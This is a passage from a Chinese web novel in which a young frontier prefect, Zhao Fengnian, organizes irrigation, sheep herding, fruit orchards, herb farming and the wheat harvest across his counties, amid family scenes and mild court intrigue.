只不过,无论是官员还是百姓们,都觉得“丰渠”朗朗上口,甚至在两县交界的地方立了一块石碑,纪念这第一条人工渠。 得知了这件事,犁丘县县令羡慕不已,整日念叨。 不过,这些赵丰年就不得而知了,此时他正被巧娘盯着喝完一碗鸡汤。 “娘,你真的看错了,我没有瘦,就是长高了。”赵丰年无声地拒绝。 巧娘也不是真的非要逼儿子喝鸡汤,毕竟儿子不爱喝这玩意她又不是第一天知道,只是心疼他这些日子忙进忙出,这几日竟然是病倒了。 “自打到了这里,你们就没个歇息的当儿,都是多大的人了,还不知道爱惜自己的身体,你自小身体就弱,好不容易养好了,如今又病了,你叫娘怎么不担心?”巧娘一边说,一边抹着眼泪。 “大夫都说你这是操劳过度,总之我不管,你给我好好养着,这些日子,就是天大的事也先把身子养好再说!” 赵丰年知道这回肯定是让巧娘赵来贺担心了,索性她说什么都应了下来,好不容易才将巧娘哄得破涕为笑。 底下几个县里,拓九是第一个知道赵丰年生病的。 自从丰渠顺利通水,其他沟渠都在按照计划进行,春耕也结束了,他便履行诺言来到了府衙教他们戎族语,当然,真实的目的是什么,赵丰年也懒得戳破他。 得知赵丰年生了病,拓九亲自猎了只兔子来探望赵丰年,却看到了后院里一群毛茸茸的鸡崽子,顿时就走不动道了。 “这是什么?” 赵丰年披着斗篷正在院子里晒太阳,闻言挑眉,“你会打猎,不认识鸡?” 拓九更惊奇了,“原来鸡崽子小时候长这个样子,长得跟那些鸟似得。” 这些鸡雏是巧娘上个月闲着没事刚孵出来的,自打来了北地,这里没什么消遣,也不认识什么人,因为赵丰年要盘火炕,她这才想起来自己还可以养些鸡,一来打发时间,二来还能给大家都补补身子。 只是北地养鸡的实在是人少,巧娘搜集了一个月才买来了五六十个蛋,还有十来个是云英蛋,孵不出鸡雏来,如今也养了快一个多月,院子里多了几十只鸡,也多了几分过日子的气息。 见拓九很喜欢的样子,得知他们家原先是养牲畜的,只是都被戎子杀没抢没了,巧娘顿时心生同情,临走的时候愣是送了拓九一篮子小鸡雏。 “带回去养着,往后养大了宰了喝汤补身体,这孩子,也是瘦的。” 于是,拓九就这样挎了一篮子鸡雏回到了牧县县衙。 “大人,你这是哪里弄来的鸡崽子?” “哦,知府大人的娘给的。” 逢人便解释一遍的拓九最后都没想明白,怎么知府大人的娘觉得他一个大男人能养好鸡崽子呢? 他这里不想要,却不知道犁丘县那边的莫东西已经羡慕得眼睛都红了。 于是,在一次开会结束后,莫县令挨挨蹭蹭到了赵丰年身边,提起了鸡雏的事。 听他左一句右一句,就是离不开鸡雏,赵丰年还有什么不明白的,便承诺也送他几只。 但是既然给了拓九跟莫县令,总不能忽略其他人,于是,这天离开府城的时候,几个县的县令县丞是一人提着一篮子的鸡雏走的。 对比犁丘县莫县令的满意欢喜,沙沙县跟小河县的惊喜,五树县这边的冷存真则是本来冷着的脸越发的冻人了。 自打上回被赵丰年摆了一道,五树县县衙在五树县百姓心中很是复杂,而出人意料的是,赵丰年再次召底下官员开会的时候,冷存真居然不再让县衙的主簿代出席,而是本人亲自到场。 对此,大胖总觉得这人再憋着什么坏。 “万一他是为了打入我们内部,然后把我们的消息都告诉李家那边呢?” 赵丰年也意识到,李家还有盛富贵似乎很久没有出现在人前了,便问了李将军。 李将军摇摇头,“底下的人没发现他们有什么动作。” “盛富贵这些日子按时点卯上下值,也没有像前些日子一般到处打听,只是,这人终究是一个隐患,俗话说,会叫的狗不咬人,说不准真的在谋算什么,如今证据已经搜集得差不多了,还是今早处置为好。” 李将军诧异地看了眼赵青青,没能想到她能随口轻飘飘低说出这番话来。 赵丰年沉吟片刻,“不急,我总觉得,还能在他身上挖出点什么来,线放长了,咱们钓大鱼。” 赵丰年病彻底好后,柳小尺带着车队到了北定府。 这回,柳小尺带来了赵丰年想要的牛羊,最重要的是,带了两个人来。 一个是赵来富的独子赵有志,而另外一个,竟是赵小云。 “阿年——” “云姐?” 得知赵小云来了,巧娘赵来贺也十分开心。 “我听说宝儿,哦哦,又忘记改口了,路上小尺就跟我说了,阿年在这里威望很重,不好叫乳名了。”赵小云调侃完继续,“总之,我听说阿年这里缺人手,想着在哪里干不是干,索性就跟我爹娘说了,我要来北地找阿年,他们起先是有些不太放心,还要跟着一起来,不过被我劝回去了,只说等我这里安顿好了,再接他们过来。” “你这孩子,不是刚刚成亲吗,怎么好抛下大尺就来了,他就算缺人,也不能叫你夫妻发分隔两地!” “婶娘你就别替我们操心啦,还没告诉你呢,大尺跟我已经决定好了,要搬到这里来。” 巧娘大为惊讶,见柳小尺笑着点了头才又劝。 “你们要是都能来,我们都是开心的,只是这里实在不是什么好地方,日子过得肯定是没有家里那般舒心的。” “婶娘尽管放心吧,我们已经想好了,要跟着阿年这个知府大人做事,难道阿年都不能庇佑我们不成?” “你这孩子!” 赵丰年早就跟柳小尺兄弟聊过,让他们选一个人来北地设商队据点,没想到竟然是柳大尺自己过来,不过这样赵丰年也更加放心了。 几人关心完赵小云,这才问起了赵有志。 “哟,终于还记得这里还有个人了?呵。” 赵丰年看了眼赵小云。 他如今这个性格? 惯的呗。 赵丰年笑了,“有志哥,富大伯的信我刚才已经看了,到底是父母爱子为计深远,这样,我给你两个选择,一是去牧县挖沟渠,二是去沙沙县种果树,你刚刚来,先休息几日,也正好好想一想。” 赵有志听了当即脸都绿了。 “我好歹是个读书人,你让我又是挖沟又是种树的,那我干嘛要大老远地跑到这个鬼地方来,在临县不照样种地吗!” “哦?这么说,你不愿意,那你想做什么?” 赵有志一时语塞,“你就没有什么文书什么的我做一做的……” 赵丰年却笑了,“那恐怕不行了,我这府衙里都是机密要事,也不是什么人都干得了的,你倘若想做,也可以,可是要经过考验,在我这里,读书人跟非读书人没什么区别。” 赵有志气结,恨不得立马回家。 “我知道你心里怎么想的,无非是大不了回临县,只是,你也说了,好歹是个读书人,就这点肚量?就这点志气?我听闻你妻子刚有身孕,如此这般,富大伯都要送你过来,你就没想过为什么?难道你就不想做孩子的榜样,让你孩子以后听人提起你是满脸的自豪?” 赵有志彻底熄了火气。 这也是赵丰年接受赵来富托付的原因之一,赵有 志心比天高,但是好歹本性不坏,还能往回拉一把。 “今天这么热闹?”说话间,大胖跟赵青青一起回来了。 看到大胖身后那个身影,赵有志噌的一下站了起来,指着人话都说不好了。 “你,你是赵青青?!你不是死了吗?!” 第65章 第65章赵有德善良却实在愚蠢…… 赵有志大惊失色。 赵青青看到他人的那一刻还有些惊讶,见他这个反应,当即便又笑了,升起了几分逗弄之心,“这位兄弟好生无礼,晴天白日的,竟然咒我不成?” 赵有志茫然了,“你,你不是赵青青吗?可是赵青青不是死了吗?” 大胖走了过来拍了拍他肩膀,“对吧,你也觉得很像吧,有志哥,我刚开始就觉得像极了,哈哈哈哈。” “她当真不是赵青青?”赵有志继续寻求其他人的肯定,见其他人都摇头,一瞬间就陷入了自我怀疑。 赵青青可管不了她,只转头看着赵小云红了眼眶。 “云姐。” “青青——” 赵小云冲上来抱住她。 “你个死丫头,走了就一个消息都没有了,连封信都不给我们寄,明明知道我也是学了几个字的!要不是柳家兄弟,我都不知道你如何了!” “云姐,我很想你,但是听说你跟纺织厂的大家都过得很好,我也不敢打搅你,省得你还要替我操心。” “你反正总是有理的,当时跟厂里做生意的就没人说得过你,不过这回不怕了,告诉你一个好消息,我要搬来北地跟你们一起住啦!” “真的吗?”赵青青双眼一亮,见赵丰年也点头,这才又笑了,“太好了,我们这里正缺人手,云姐你来了正好呢。” 两人这里其乐融融,赵有志气冲冲。 “她就是赵青青!来喜二叔家的女儿,你们还骗我!” 赵小云转头一笑,“胡说什么呢,她虽然也叫青青,但可不是赵来喜那家的,她是——” “我娘远房表妹家的女儿,刚好也叫青青而已,有志哥,你不要太敏感,这种事很正常,天下之大,同名同姓者多了去了。” 大胖点头附和赵丰年,“没错,那可太多了。” 几人言辞一致,赵有志忍不住再次陷入了自我怀疑。 只是当他晚些时候在饭桌上看见了赵翠翠,当即又吓了一跳。 这下怎么都知道了是他们哄骗他呢。 “有什么大不了的,不就是怕我知道了告诉旁人嘛!” 很快,赵有志就送决定好了要去沙沙县种树,而他选择去沙沙县的原因也不过是因为听说赵青青最近常去牧县,想要避开人罢了。 而赵丰年也通知了牧县来府城看羊群。 拓九得知消息当场就从石头上跳了起来,骑上马飞奔到府衙了。 “赵大人,你真是大好人,真的!” 赵丰年微笑,“头三年每年利润的三成,后面每一年减少一成,你确定都明白了?” “当然了,我不是那种不辨是不的人,这些羊都是府衙自掏腰包买的,我们自然也不能白白占便宜,我们也是现在没钱,等往后赚了钱了,就能自己买了,还怕还不上府衙的账嘛?” “今天怎么没见到王师爷?” 拓九愣了愣,“啊?哦,我嫌他太慢了,没等他,怎么了?大人找他有事?” “只是没听到王师爷纠正‘不辨是非’有些不习惯罢了,别放在心上。” 拓九:“……” 旁边几人都笑了出来。 得了准话,拓九马不停蹄地冲回了牧县,当天晚上就拉着人开会。 当然是王师爷主持大局。 “三成,不算多了。” 王师爷想不到的是,等到一年后,他会看着那三成的契书想抽一年前说三成不算多的自己一巴掌。 第二天,得知牧县即将迎来一批羊,牧县的百姓都沸腾了。 “虽然只有一百多只,但是迟早会有两百只,两千只,两万只!” 这是所有百姓都坚信的道理。 做好了决定后,拓九便带着人去府城运羊,众人赶着羊群的时候,拓九又惦记上了那几头牛。 王文偶然经过牛棚见他在外头打转,犹豫着上了前。 “拓大人,这牛可没说要一起给您的,您要是闲来无事,不如去沙沙县那边转转,那头正在清点果树苗,挺有意思的。” “谁说我惦记这牛了!” 王文迟疑,“拓大人,小的没说您惦记牛啊……” 拓九哑火,正巧这时王师爷总算清点完毕,领着人到了,这才缓解了他的尴尬。 “你总算来了,可真够墨迹的!” “大人,这批羊好,个个生龙活虎的,还有几只小羊崽子。” 拓九志得意满,“可不是,我都亲眼瞧过了,都是好苗子!” 拓九坐在马背上,领着羊群在牧县招摇过市,随着越靠近牧场,便越来越多的人跟在了身后,等到了丰渠所在的那片草场,众人期待又热切地看着眼前的一幕,待看到第一只羊低头啃了一口草,人群里不知道是谁喊了一声好,带起了一阵阵的欢呼。 只是欢呼过后,又不少人哭了起来。 “我阿爷养了一辈子羊,走的时候却连根羊毛都没见着……” “我家的羊都长大了,说好了卖了下聘,就在前一天全没了,羊没了,孩子没了,什么都没了……” “知府大人把羊带回来了,能不能把我们家人也带回来?” 王师爷看了这一幕也不是滋味,他是王家的分支,不算远的那种,被主脉庇护着长大,从小读书都要偷偷摸摸,生怕被戎子看见了杀人,跟普通百姓比起来,他已经算是幸运了,却一直活得战战兢兢,而百姓只会更苦。 他本想看看拓九,却只见他不知何时也红了眼眶。 “大人?” “起先我不明白赵大人为什么这么急着要我们养羊,有了那肥,种地也饿不死,现在我才明白,他养的不是羊,是养的人心,那个词怎么说?别人是亡羊补牢,他是养羊补心,补大家破缺的那颗心。” 拓九说完忽然又顿了顿,“我这个词是不是又用错了?” 王师爷笑了。 “不,大人用得非常好,一点都没错。” 牧县终于要重开牧场了! 这是近来牧县百姓们最开心的谈资,想到那草地上白花花的羊群,百姓们便似乎有了无穷的力气,竟是不分昼夜地挖沟渠,问就是想让牧县早日恢复以往牛羊满地的场景。 “我们不要衙门的钱,我们知道,知府大人是为了给我们建设那什么家园才让我们挖沟渠引水,哪有建自己的家还要旁人掏银子的?” “没错,我们都是自愿的!” 赵青青得知此事,感动之余立马雷厉风行地阻止了这场自发“活动”。 “大人是想要百姓们生活如意,但是倘若是拿百姓们的健康,乃至性命来填,跟那些为了政绩压迫百姓之人有何不同?” 王师爷感动不已,拓九也若有所思。 百姓本来还为衙门阻止自己建设家园而生气,而得知是知府大人心疼他们不易,担心他们损伤身体才不让他们日夜干活,顿时个个都感动得不行,衙门多方劝阻,竟都不如提一句知府大人。 众人也纷纷是无奈又好笑。 牧县这里热火朝天,沙沙县也差不多。 赵丰年去沙沙县考 察的时候,就觉得沙沙县无论是种大豆还是种果树都挺合适,以前就跟沙不多提了这事。 沙不多当然是高兴不已,签了契书后,就翘首以盼树苗的到来,终于等来了果树苗,得知赵丰年不仅给他们树苗,还给他人手帮忙,当即又感动得跟什么似的。 “知府大人真是个好官啊,好人呐~” 赵有志听了一路,早就不耐烦了。 “你能不能别念了?” 沙不多抖了抖,讪笑道,“让您见笑了,以前大家都被欺负惯了,没什么见识,您不高兴我便不说了。” 赵有志有些烦躁。 沙沙县百姓高兴不已,纷纷盘算着自家能承包多少的地种果树。 赵丰年让沙不多将赵有志随意安排在一户人家,不用给予优待。 沙不多只听说两人是同村,又都姓赵,便不敢怠慢了人,起先是想将赵有志安顿在县衙门的,还是临走的时候赵典吏找到他,说知府大人就是为了锻炼此人,倘若他当真给人按排在县衙好生伺候着,赵丰年反而会不满。 沙不多吓得连忙说不敢。 是以,当其他人问怎么安排赵有志之时,沙不多想了个好办法,将人安排去了侄子沙大头家。 就这样,赵有志住进了沙大头家。 “我们家承包了一亩地种大枣,你们呢?” “我们家没那没多银子,只能盘下半亩地,打算种梨。” “不是说可以去衙门签契书,回头从收成里抵扣嘛?” “是吗?我头一回听说,就跟牧县养羊一样的契书吗?” “大差不差,赶紧去吧,这第一批树苗不多,早些定下早些结果!” 这样的对话频繁出现在沙沙县每一个地方。 赵有志黑着一张脸,跟喜气洋洋的沙大头一家格格不入。 只不过沙大头一家都不介意,哪怕是赵有志干活的时候懒散墨迹,也只当他在家里养尊处优吃不惯这样的苦,只叫他累了就休息,然后继续乐呵呵刨坑种树了。 赵有志也没当回事。 沙沙县跟牧县几乎同时进行,赵丰年分别去两县考察,看到一切顺利才放下了心。 等准备回府衙的时候,却在半道上碰到了犁丘县的莫县令。 “莫县令?” 莫县令来的目的很简单,就是为了犁丘县。 “如今,小河县大兴水利,兼有开垦荒地,牧县养羊,做牧业,沙沙县也都在种果树,您看,都是北定府下面的县,我们总不好拖后腿吧?” 赵丰年却笑了,“本官还以为,莫县令已经有了好去处,看不上我们这些小打小闹呢。” 莫东西眼神闪烁,良久才笑道,“赵大人这话说的,我们肯定是跟着府衙走,除此之外,还能有什么好去处。” 赵丰年看了他一眼,“我倒是希望莫县令一直跟着府衙走,毕竟,一山不容二虎,这北定府自然也只需要一个府衙就够了。” 莫县令没有说话,一直挂在脸上的笑也消失了,赵丰年见状只说了一句。 “何时莫县令想清楚了,再来府衙找本官罢,不过我只给你三日,时不我待,三日后,犁丘县未来是好是坏,就看莫县令的了。” 继续上路后,大胖才反应过来。 “莫县令是也李家的人?” 李将军摇头,“准确来说,应该是盛富贵的人。” “真瞧不出来啊,这老东西,每回见着了都笑眯眯的!”大胖十分唾弃,“不过,阿年,他如果不归顺咱们,你还当真就随他去了啊?” 这回轮到赵丰年惊讶了。 “你怎么会这么想?” 大胖挠挠头,“这不是你说,犁丘县未来是好是坏要看他嘛?” 赵丰年扯出一个笑容,“他要真是个不好的,由着他去,他没什么,只是却苦了犁丘百姓,我一个知府,虽然没有罢免他的权利,让一个人消失还不是绰绰有余?” 大胖面露惊恐,一副“你果然变了”的表情。 “想到哪里去了,我是说把他关起来。” “真的?” “当然。” 李将军在一旁看了却皱了眉头。 三日后,莫县令来到了府衙。 “赵大人运筹帷幄,一切都在你的掌握中,这北地也迟早是赵大人的,下官一大把年纪了,还能有几年好活,自然是想看到一个不一样的北地的。” 赵丰年笑,“莫县令是个明辨是非的,只不过有一言莫县令说错了,这北地是大夏的,是陛下的。” 莫县令怔愣片刻,随即也笑了,“瞧我,乡野惯了,都不会说话了,自然是如此。” “犁丘多丘陵,种植庄稼土地利用度不够,也不划算,不如种药材。” 莫县令来不及反应,就已经听赵丰年话头翻了过去。 “药材?” “不错,正是药材,诸如北沙参、桔梗、防风、黄芪这些药材,不怎么挑土壤,甚至沙质土长得更好,都适合北地种植,这些也都是伤风风寒常用的药材,如此一来,便也不愁销路。” 莫东西双眼放光,“好东西,真是好东西啊。” “流程自有沙沙县跟牧县的例子在那里,都一样,你回去想跟各村百姓商量商量,待拟定好了后,来府衙签契书,拉种子。” 莫东西兴奋不已,离开的时候,想了想,还是说了一句。 “大人,也许,你可以找冷存真好好聊聊。” 莫东西走后,赵丰年想着他说的那句话,失笑。 而另一头,李将军却找到了赵青青。 “赵典吏。” “李将军还是像往常一样称呼我为青姑娘吧,这府衙里如今形赵的典吏可多起来了,李将军这样一喊,怕不是要出来好几个赵典吏了。” 李将军眼里流过一丝笑意,这才说明来意。 “你是说赵有德?” “正是。” 赵青青顿了顿,“李将军应该知道我们同知府大人是何关系?也应该知道,我应该称呼赵有德一声兄长?” “正是如此,我才跟青姑娘提这句话,青姑娘是个利索人,更是个聪明人,我想,比起一个善良却天真的人,姑娘更希望放一个一心只为赵大人的人在大人身边吧?” 赵青青笑了,“李将军也是聪明人,想来,我二人倒是不谋而合的。” “大人仁慈,总想保护所有人的初心,只是他却不知道,只有他好好活着,我们这些人才能安心去追寻所谓的初心,赵有德有一颗稚子之心,善良,却实在天真愚蠢。” 李将军惊讶滴看着眼前面无表情的少女。 她方才还微笑着,端庄得犹如大家闺秀,如今冷下脸却让人不敢靠近。 “北地平静久了,大家便没了警惕之心,只想躲在大人的羽翼之下,这可是不行的,李将军,我听闻,母鹰会将小鹰推下悬崖以此让小鹰获得翱翔天际的能力?” “确实有这种说法。” “那便让赵有德也学一学吧。” 看着又恢复了微笑端庄的少女,李将军竟不自觉地打了个冷颤。” 第66章 第66章丰收的季节 “目前,沙沙县果园计划由王文负责,小河县跟牧县那边是我在跟进,犁丘县是赵有德,杨知事近来也在继续跟五树县县沟通,但是府衙里能做事的人还是太少了,旁的不说,各房典吏也是不全的,总之,还是要继续招人。” 赵青青最后总结。 赵丰年想了想,“这事 之前是杨知事负责,如今杨菱你要去五树县,那招人的事就交给翠翠吧,翠翠?” 赵翠翠点点头。 众人也没有异议,赵翠翠如今担任吏房典吏,自然要分担过去。 赵翠翠的动作也很快,不出几日,就招到了两个人。 “小的来自牧县,叫葛达,大家都叫我阿达。” “小的叫吴阿飞,家住葫芦巷尾。” 两人很快就进入了工作中,赵丰年观察过这两人,葛达性格爽朗活泼,跟谁都能打成一片,而吴阿飞则沉默寡言,经常是一个人默默做事。 好在两人干活都是利索的,便都留了下来。 添了人手,众人总算是有喘气的功夫了,尤其是赵青青,葛达分担了一部分工作后,终于有了空跟赵小云说说话了。 “我还跟大尺说呢,等搬来了这里,可以天天跟青青一起聊天,结果好嘛,来了半个多月的功夫,见到人的次数一只手都能数得过来了,你可真是大忙人啊。” 赵青青连忙赔礼道歉。 “这个就算了,不过你明天陪我去看宅子,我就原谅你了。” 这也是赵小云来之前就跟柳大尺商量好的事情,他们毕竟成亲了,也不必跟大家伙都住一块儿,夫妻俩住外头,有自己的小家,反而过得自在。 再说,赵丰年要在北地设商队据点,柳大尺是要去那边扛事的,住在府衙,商队人员来来往往,也不太方便。 巧娘知道其中干系,没有多留她,只说让她先买下来可以,只是不着急过去住,只等柳大尺过来了再搬过去也不迟。 第二天,赵小云果然拉着赵青青一起出门了。 “我先前已经看中了一家,离府衙不远,只隔两条街,算是在商会跟府衙之间,再远些就是他们商队的铺子,你眼光好,我是想让你陪我去看看,再挑几件像样的家具。” 赵青青抿唇一笑,“云姐夫家就是做这个的,要是他们都在这里,你倒是省了这个了。” 赵小云也笑,“可不是,我先前也说呢,其实,他爹娘听说我们打算过来,就说要给我做了家具器物送过来呢,只是我拒绝了,虽说有商队,顺道的事,只是能用银子的事,何必让老人辛苦这一遭的?再说,我知道阿年肯定在这里是待不长的,他日肯定要高升离开,届时我们难不成还要一直在这里,倘若搬家离开,那些自家做的东西是舍不得的,又是一桩麻烦事。” “云姐如今这样也越发像个当家的了。” “好啊,你笑话我呢?也别说我了,倒是你,整日里外头跑,何时考虑自己的事啊?” 赵青青垂眸一笑,“我如今只想帮阿年做他想要做的事,这也是我想要做的事。” 因今日是出门陪赵小云逛街,赵青青难得换上了一件粉青色的襦裙,还是过年那会京城里送来的年礼,时下京城时兴的款式,走起路来襟飘带舞,配上简单的随云髻,只在髻边上斜斜地插了一朵绢花,又在脑后系了根发带,却衬得她越发气质出众,这样垂眸一笑,赵小云看的都直了眼,当即叹了口气。 “从前在赵家村的时候,大家一起玩,你总是安安静静的待在一旁,如今见的世面多了,更是跟我们这些人都不一样了,有时候看着你这样,我还真是羡慕。” 赵青青笑了,“云姐说这话可是叫我难堪了,你羡慕我,我倒是也羡慕你,上有父母疼爱,如今又夫妻和顺,只是我们都比旁人幸运,可以肆意做自己想做的事,这才是最紧要的,不是吗?” 赵小云当即便笑了,“你说的对,我们都很幸运,没必要羡慕来羡慕去的,不过你最近这么忙,不会因为我的事耽误你公事吧?” “府衙里有了新人,再说,牧县小河县的大人们都是能干的,我顶多当个监工,还能时时刻刻盯着不成?那就叫人生厌了,难得偷闲,云姐就别压着我回去干活了!” 赵小云这才彻底放了心。 只是等两人回到府衙,前头就有人来请赵青青,只说牧县县衙有人找。 赵青青对着赵小云歉意地笑了笑,这才跟着人去了前衙。 “可说了什么事?” 传话的正是新来的葛九,闻言笑了笑,“只说有很重要的事着急找青姑娘,却没说到底什么事,不过小人听说好像是关于羊呢。” 牧县的人会放牧养羊的不少,赵青青记得,有一只羊送过去的时候已经怀了小羊,还是牧县一个百姓发现的,难不成是羊群生了病? 只是等到了地方,听拓九正跟杨菱议论羊肉怎么做好吃,赵青青就排除了这个原因了。 “自然是烤全羊,涮什么锅子,没滋没味的!” “涮羊肉才能最大程度发挥羊肉之本味,羊肉嫩滑,汤汁鲜美,只一碗便叫人流连忘返,炙羊肉虽肉质紧实,却委实浪费了其鲜嫩。” “老子的羊,老子爱怎么吃就怎么吃!” “哦,那你还欠着府衙六百两银子,别忘记了。” “你——” 赵青青发出一声轻笑,两人皆转头看过来。 杨菱立马就笑了,“赵典吏,你们岚州也是喜食羊肉的,不知那里偏好炙羊还是涮羊?” “我幼时家贫,倒是没怎么吃过羊肉,不过听闻夏日里吃的伏羊大多是熬成羊汤,一家人分而食之。” “以热制热,补虚健体,大抵如是了。” 而拓九自赵青青进来的那一刻就已经惊呆了。 他见过男装的赵青青,穿着吏服的赵青青,却是头一回见到如此打扮的赵青青,明明都是平日里用的那根发带,束起长发的时候只让人觉得英姿飒爽,可今日看着那根平平无奇的发带,他只觉得是飘进了自己的心里。 “不知拓大人找我何事?拓大人?” 拓九回过神来,涨红了一张俊脸。 “羊,羊汤也好的……” 杨菱是过来人,立马就懂了这少男心事,忽地笑了。 “既然赵典吏跟拓大人还有要事相商,我就先告辞了。” 杨菱走后,拓九依旧红着脸。 “拓大人,各地自有自己的风俗习惯,便是每个人也有自己的口味,求同存异便是了,我也只是告诉杨知事一个习俗,并非对炙羊肉有何看法,还望拓大人不要见怪。” 拓九连忙摆手,“不不不,我也觉得羊肉汤挺好的,我也喜欢的!” 那确实,毕竟北地喜食肉食,羊肉能驱寒,人家做法多也是有的,赵青青不再纠结此事,复又问了他找自己对策缘故。 拓九这才想起来,“哦,是这样的,那批羊里面不是有一只母羊怀了崽子吗?照料的村民说这两天就要生了,我是来问问赵典吏,你要不要去看看?” 见赵青青迟疑,拓九连忙又道,“毕竟这事也是赵典吏忙前忙后的,我想着,这可是第一只重新出生在北地的羊羔,那什么,就跟丰渠一样,意义重大,错过了岂不是很可惜?” 赵青青恍然大悟,“拓大人心细如发,既然如此,我会去的。” 拓九立马就开心了,离开府衙的时候都哼着歌。 赵青青回头就把这事告诉了赵丰年,只说自回到大夏后,牧县的第一只小羊羔要出生了,牧县百姓都希望他们去见证这历史的一刻。 赵丰年也很高兴,第二天,几人接到牧县的通知,就赶过去了。 拓九本来兴高采烈,只是在见到赵丰年跟李将军的时候,顿时笑容都僵住了。 赵丰年挑眉,“怎么拓县令似乎看到我们不是很高兴。” 王师爷连忙上前打圆场,“高兴,怎么不高兴,知府大人亲自莅临,我们牧县上下都欢欣鼓舞呢!只是我们大人昨夜守了那母羊一整夜,今日便有些精神不济罢了。” “原来如此。”赵丰年还有什么不明白的,合着是只想让他自己想见的人过来呢。 “大人,那羊今晨便有要生的兆头,已经让经验丰富的牧羊人守着了,适才传话来,说正要生了,不如我们赶紧过去?” 一行人又向牧场出发。 拓九幽怨地盯着旁边恢复到英姿煞爽的女子,只觉得心都被辜负了。 “拓大人?怎么了?” “无事” 只是等到牧场,拓九便什么也想不到了,他们来的巧,那母羊正在牧羊人的帮助下产小羊。 “老张头是老把式,帮羊生产是小事,经历了不知多少回了,说是这母羊胎位正着呢,寻常需要一两个时辰,今日估计一个时辰就能生下来了。” 果不其然,就在大家焦急等待的时候,小羊生了出来,还不等众人高兴,就听老张头又喊了一声—— “还有一只,是双胎!” 围观的百姓更开心了。 王师爷怕他们不理解,忙笑着解释,“羊一般一胎是一到两只,只不过大多数都是一只,这双生胎放在羊身上也是少见的,可见正是天佑我北地,佑我牧县啊!这是大大的吉兆,祥瑞啊!” 这个说法一说出来,瞬间得到了百姓们的赞同,甚至周围已经有 人把吉兆和祥瑞的说法传出去了。 赵丰年见状,只觉得有意思。 花了一个半时辰,母羊生了两只小羊羔,一公一母,若不是还有顾忌,王师爷都想说龙凤胎了。 下了崽后,那经验丰富的老张头又叫人把一早准备的吃食送到了母羊身边补充体力,见它吃了,这才放下心来,两只站都站不稳的小羊羔已经耸着鼻子去找母乳了。 “都是健康的小羊崽子!” 虽然等了一个半时辰,但是众人都十分开心,更不知道是谁,喊了一声让赵丰年取个名字。 拓九一听,顿时觉得有道理,这两只羊可是在他们牧县出生的第一只羊,代表着他们牧县重新开始,可不是有重要意义?正经取个名字才是真的,便也连忙让赵丰年取名。 赵丰年哭笑不得,还是依着他想了想,“既然是吉兆祥瑞,不如就叫阿吉阿祥?” 于是,牧县的牧场上便多了两只叫做“阿吉”跟“阿详”的小羊。 刚过完中秋节,柳大尺便跟赵来贵吴菊香夫妻来到了北地,赶上了北地农忙收获的季节。 赵来贵、吴菊香跟巧娘见了面后,得知赵丰年带着一帮人都去各县城盯着小麦收割了,人手不足,连赵来贺都去了,忙就说也要过去帮忙,却被巧娘拦住了。 “你们刚过来,一路上累的还不够?赶紧歇着吧,大尺你也一样,先别忙着收拾,小云去了商队铺子那边,晌午会回来吃饭的,一会儿就能见着了。” 赵丰年还不知道柳大尺已经到了,此时他正在小河县。 小河县是几个县里耕地面积最大的,种植的小麦也最多,因为水车沟渠的缘故,如今整个县城水车到处可见,灌溉加上肥料,小河县的小麦比其他几个县长势都要好,且成熟的也早。 早在月前,小河县的百姓见到那密密麻麻的麦穗就已经乐得合不拢嘴,如今要收获了,每个人都摩肩擦踵。 何县丞领着赵丰年来到了流水县,就是起初第一个安装水车的村子,甚至不知从哪里弄来了一面锣鼓,锣声一响,百姓们开始收割第一亩地。 赵来贺好久没收麦子了,今天为了过把手瘾,也加入了割麦子的行列,他割得稳当,速度也快,旁边的百姓见了,知道他是官府来帮忙的,却没想到他动作这样熟练,立马夸了一句。 赵来贺就笑了,“我在老家是常干农活的,后头来了这里倒是没啥机会了,见着这庄稼我就高兴!” “您看着就是好庄稼把式!” “哈哈哈哈哈。” 割完小半亩地,赵来贺在沟渠边上洗了把手,麦禾好割,就是麦芒刺人,不马上洗掉,回头得全身刺挠。 “爹,过瘾了?” 赵丰年笑着走过来。 “那可不,不过也真是许久不干活了,这才干了多少,竟然就开始腰酸背痛了。”赵来贺一边说一边摇摇头。 “那您可仔细些,别回头我娘得唠叨您了。” 赵来贺嘿嘿笑了几声,抬头望着金黄的麦田,“这麦子好啊,不比咱们老家的差,空麦壳的也少,我估摸着一亩地能有两石。” 临县堆肥后小麦亩产在两到三石,后面连续几年都是三石,比前面没用堆肥翻了两番,这里就算差一些,能有两石,就已经不错了。 两人这里聊着,方才跟赵来贺闲话的村民过来洗手,听到了赵丰年管刚才一起割麦子的人叫爹,当即大吃一惊,回去就更其他人说了。 “你肯定不知道刚才跟我一块收麦子的那人是谁!” “谁啊?不就是衙门里的大人吗?我方才身边也有一个,别说,做起事来不比咱们慢。” “我这个可不一样,我听知府大人喊他‘爹’!” “那不就是知府大人的爹吗?” 众人大惊,随即便是一阵感动。 “知府大人关心我们这些人也就罢了,竟然连知府大人的爹都来帮咱们收麦子了,知府大人真是好官呐!” 麦子成熟后收获期一般会控制在十天左右,提早收割麦子还没长好,时候晚了麦子就自己掉在地里了,不出几日就要生根发芽,那就损失大了。 因此,一时间,整个北地都在抢收。 等抢收完,还要撑着天气好的时候晾晒两到三天才能进行脱粒,这是北地第一次用堆肥后的收获,为了计算到最准确的数据,整个府衙的人基本都在各个县里巡视,生怕出了一点差错。 赵丰年也一个县一个县地看过去,等到了沙沙县,沙家村的时候,居然看到了赵有志在地里收麦子。 许是看到赵丰年的目光停得有些久了,沙不多顺着他的目光看过去,连忙就慌了。 “大、大人,这个,我们并非故意让您同乡收麦子的!我现在就去喊人过来!” 赵丰年阻止了他。 他只是没想到赵有志一个从小没接触过农活的人也能下地干活了。 起初,他让赵有志来沙沙县种树,就是为了磨一磨赵有志的傲气,也是想让他知道他能读书识字是因为赵家吃苦的事没让他做,没必要整日里不可一世,看不上这个那个的。 他以为赵有志肯定会中途吃不了苦,也做好了他会放弃的准备,届时,他还是会好生养着他,不过却只会当作一个普普通通来投奔的亲戚,不过没想到的是,赵有志虽然偶尔回一趟府衙跟大家一起吃饭,却半点不提沙沙县的事,如今竟然跟着一起下地了。 这时候,沙大头媳妇来给他们送水,赵有志接过去说了一声谢,正要喝的时候,却看见了麦田边站着的赵丰年等人,怔愣片刻后,一口气喝了那碗水,弯腰继续割麦子了。 沙大头媳妇笑着收拾好东西,走到他们这边,正要行礼,就被拦住了。 “我们只是来看看,不必多礼,再说,这位嫂子既是有了身孕,更应该小心些。”赵丰年瞟了眼她的肚子,似乎知道了为何赵有志这样了。 